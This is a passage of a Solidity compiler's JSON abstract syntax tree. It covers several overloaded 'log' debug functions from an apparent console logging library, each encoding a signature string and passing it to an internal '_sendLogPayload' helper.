\"log(uint,address,address)\""},"value":"log(uint,address,address)"},{"id":16881,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16870,"src":"10818:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":16882,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16872,"src":"10822:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":16883,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16874,"src":"10826:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_7d77a61be18c592527fe1ce89d591c1badea18ef3198dacc513c5ba08449fd7b","typeString":"literal_string \"log(uint,address,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":16878,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"10765:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16879,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"10769:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"10765:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16884,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10765:64:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16877,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"10749:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16885,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10749:81:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16886,"nodeType":"ExpressionStatement","src":"10749:81:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"10688:3:14","parameters":{"id":16875,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16870,"mutability":"mutable","name":"p0","nameLocation":"10697:2:14","nodeType":"VariableDeclaration","scope":16888,"src":"10692:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16869,"name":"uint","nodeType":"ElementaryTypeName","src":"10692:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":16872,"mutability":"mutable","name":"p1","nameLocation":"10709:2:14","nodeType":"VariableDeclaration","scope":16888,"src":"10701:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":16871,"name":"address","nodeType":"ElementaryTypeName","src":"10701:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":16874,"mutability":"mutable","name":"p2","nameLocation":"10721:2:14","nodeType":"VariableDeclaration","scope":16888,"src":"10713:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":16873,"name":"address","nodeType":"ElementaryTypeName","src":"10713:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"10691:33:14"},"returnParameters":{"id":16876,"nodeType":"ParameterList","parameters":[],"src":"10739:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16908,"nodeType":"FunctionDefinition","src":"10843:157:14","nodes":[],"body":{"id":16907,"nodeType":"Block","src":"10906:94:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e742c75696e7429","id":16900,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10956:23:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_969cdd03749f5aa30c7fce9178272cdca616cb2cc28128d3b9824be8046f827e","typeString":"literal_string \"log(string,uint,uint)\""},"value":"log(string,uint,uint)"},{"id":16901,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16890,"src":"10981:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":16902,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16892,"src":"10985:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":16903,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16894,"src":"10989:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_969cdd03749f5aa30c7fce9178272cdca616cb2cc28128d3b9824be8046f827e","typeString":"literal_string \"log(string,uint,uint)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":16898,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"10932:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16899,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"10936:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"10932:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16904,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10932:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16897,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"10916:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16905,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10916:77:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16906,"nodeType":"ExpressionStatement","src":"10916:77:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"10852:3:14","parameters":{"id":16895,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16890,"mutability":"mutable","name":"p0","nameLocation":"10870:2:14","nodeType":"VariableDeclaration","scope":16908,"src":"10856:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":16889,"name":"string","nodeType":"ElementaryTypeName","src":"10856:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":16892,"mutability":"mutable","name":"p1","nameLocation":"10879:2:14","nodeType":"VariableDeclaration","scope":16908,"src":"10874:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16891,"name":"uint","nodeType":"ElementaryTypeName","src":"10874:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":16894,"mutability":"mutable","name":"p2","nameLocation":"10888:2:14","nodeType":"VariableDeclaration","scope":16908,"src":"10883:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16893,"name":"uint","nodeType":"ElementaryTypeName","src":"10883:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"10855:36:14"},"returnParameters":{"id":16896,"nodeType":"ParameterList","parameters":[],"src":"10906:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16928,"nodeType":"FunctionDefinition","src":"11006:168:14","nodes":[],"body":{"id":16927,"nodeType":"Block","src":"11078:96:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e742c737472696e6729","id":16920,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"11128:25:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_a3f5c739d439f7a3912e960230088fb752539d00203d48771c643a12b26892ec","typeString":"literal_string \"log(string,uint,string)\""},"value":"log(string,uint,string)"},{"id":16921,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16910,"src":"11155:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":16922,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16912,"src":"11159:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":16923,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16914,"src":"11163:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a3f5c739d439f7a3912e960230088fb752539d00203d48771c643a12b26892ec","typeString":"literal_string \"log(string,uint,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":16918,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"11104:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16919,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"11108:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"11104:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16924,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11104:62:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16917,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"11088:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16925,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11088:79:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16926,"nodeType":"ExpressionStatement","src":"11088:79:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"11015:3:14","parameters":{"id":16915,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16910,"mutability":"mutable","name":"p0","nameLocation":"11033:2:14","nodeType":"VariableDeclaration","scope":16928,"src":"11019:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":16909,"name":"string","nodeType":"ElementaryTypeName","src":"11019:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":16912,"mutability":"mutable","name":"p1","nameLocation":"11042:2:14","nodeType":"VariableDeclaration","scope":16928,"src":"11037:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16911,"name":"uint","nodeType":"ElementaryTypeName","src":"11037:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":16914,"mutability":"mutable","name":"p2","nameLocation":"11060:2:14","nodeType":"VariableDeclaration","scope":16928,"src":"11046:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":16913,"name":"string","nodeType":"ElementaryTypeName","src":"11046:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"11018:45:14"},"returnParameters":{"id":16916,"nodeType":"ParameterList","parameters":[],"src":"11078:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16948,"nodeType":"FunctionDefinition","src":"11180:157:14","nodes":[],"body":{"id":16947,"nodeType":"Block","src":"11243:94:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e742c626f6f6c29","id":16940,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"11293:23:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_f102ee05f3b79d3bc2ba0350401e35479d9f95705fb40abfaeb49d12355695b3","typeString":"literal_string \"log(string,uint,bool)\""},"value":"log(string,uint,bool)"},{"id":16941,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16930,"src":"11318:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":16942,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16932,"src":"11322:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":16943,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16934,"src":"11326:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f102ee05f3b79d3bc2ba0350401e35479d9f95705fb40abfaeb49d12355695b3","typeString":"literal_string \"log(string,uint,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":16938,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"11269:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16939,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"11273:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"11269:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16944,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11269:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16937,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"11253:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16945,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11253:77:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16946,"nodeType":"ExpressionStatement","src":"11253:77:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"11189:3:14","parameters":{"id":16935,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16930,"mutability":"mutable","name":"p0","nameLocation":"11207:2:14","nodeType":"VariableDeclaration","scope":16948,"src":"11193:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":16929,"name":"string","nodeType":"ElementaryTypeName","src":"11193:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":16932,"mutability":"mutable","name":"p1","nameLocation":"11216:2:14","nodeType":"VariableDeclaration","scope":16948,"src":"11211:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16931,"name":"uint","nodeType":"ElementaryTypeName","src":"11211:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":16934,"mutability":"mutable","name":"p2","nameLocation":"11225:2:14","nodeType":"VariableDeclaration","scope":16948,"src":"11220:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":16933,"name":"bool","nodeType":"ElementaryTypeName","src":"11220:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"11192:36:14"},"returnParameters":{"id":16936,"nodeType":"ParameterList","parameters":[],"src":"11243:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16968,"nodeType":"FunctionDefinition","src":"11343:163:14","nodes":[],"body":{"id":16967,"nodeType":"Block","src":"11409:97:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e742c6164647265737329","id":16960,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"11459:26:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_e3849f79a3c07bea1bae0837bfeee5da2531684b262865f1541a60df4fcd512a","typeString":"literal_string \"log(string,uint,address)\""},"value":"log(string,uint,address)"},{"id":16961,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16950,"src":"11487:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":16962,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16952,"src":"11491:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":16963,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16954,"src":"11495:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e3849f79a3c07bea1bae0837bfeee5da2531684b262865f1541a60df4fcd512a","typeString":"literal_string \"log(string,uint,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":16958,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"11435:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16959,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"11439:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"11435:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16964,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11435:63:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16957,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"11419:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16965,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11419:80:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16966,"nodeType":"ExpressionStatement","src":"11419:80:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"11352:3:14","parameters":{"id":16955,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16950,"mutability":"mutable","name":"p0","nameLocation":"11370:2:14","nodeType":"VariableDeclaration","scope":16968,"src":"11356:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":16949,"name":"string","nodeType":"ElementaryTypeName","src":"11356:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":16952,"mutability":"mutable","name":"p1","nameLocation":"11379:2:14","nodeType":"VariableDeclaration","scope":16968,"src":"11374:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16951,"name":"uint","nodeType":"ElementaryTypeName","src":"11374:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":16954,"mutability":"mutable","name":"p2","nameLocation":"11391:2:14","nodeType":"VariableDeclaration","scope":16968,"src":"11383:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":16953,"name":"address","nodeType":"ElementaryTypeName","src":"11383:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"11355:39:14"},"returnParameters":{"id":16956,"nodeType":"ParameterList","parameters":[],"src":"11409:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16988,"nodeType":"FunctionDefinition","src":"11512:168:14","nodes":[],"body":{"id":16987,"nodeType":"Block","src":"11584:96:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c75696e7429","id":16980,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"11634:25:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_f362ca59af8dc58335601f00e8a4f3f8cd0c03c9716c1459118a41613b5e0147","typeString":"literal_string \"log(string,string,uint)\""},"value":"log(string,string,uint)"},{"id":16981,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16970,"src":"11661:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":16982,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16972,"src":"11665:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":16983,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16974,"src":"11669:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f362ca59af8dc58335601f00e8a4f3f8cd0c03c9716c1459118a41613b5e0147","typeString":"literal_string \"log(string,string,uint)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":16978,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"11610:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16979,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"11614:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"11610:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16984,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11610:62:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16977,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"11594:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16985,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11594:79:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16986,"nodeType":"ExpressionStatement","src":"11594:79:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"11521:3:14","parameters":{"id":16975,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16970,"mutability":"mutable","name":"p0","nameLocation":"11539:2:14","nodeType":"VariableDeclaration","scope":16988,"src":"11525:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":16969,"name":"string","nodeType":"ElementaryTypeName","src":"11525:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":16972,"mutability":"mutable","name":"p1","nameLocation":"11557:2:14","nodeType":"VariableDeclaration","scope":16988,"src":"11543:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":16971,"name":"string","nodeType":"ElementaryTypeName","src":"11543:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":16974,"mutability":"mutable","name":"p2","nameLocation":"11566:2:14","nodeType":"VariableDeclaration","scope":16988,"src":"11561:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16973,"name":"uint","nodeType":"ElementaryTypeName","src":"11561:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"11524:45:14"},"returnParameters":{"id":16976,"nodeType":"ParameterList","parameters":[],"src":"11584:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17008,"nodeType":"FunctionDefinition","src":"11686:179:14","nodes":[],"body":{"id":17007,"nodeType":"Block","src":"11767:98:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e672c737472696e6729","id":17000,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"11817:27:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_2ced7cef693312206c21f0e92e3b54e2e16bf33db5eec350c78866822c665e1f","typeString":"literal_string \"log(string,string,string)\""},"value":"log(string,string,string)"},{"id":17001,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16990,"src":"11846:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":17002,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16992,"src":"11850:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":17003,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16994,"src":"11854:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2ced7cef693312206c21f0e92e3b54e2e16bf33db5eec350c78866822c665e1f","typeString":"literal_string \"log(string,string,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string 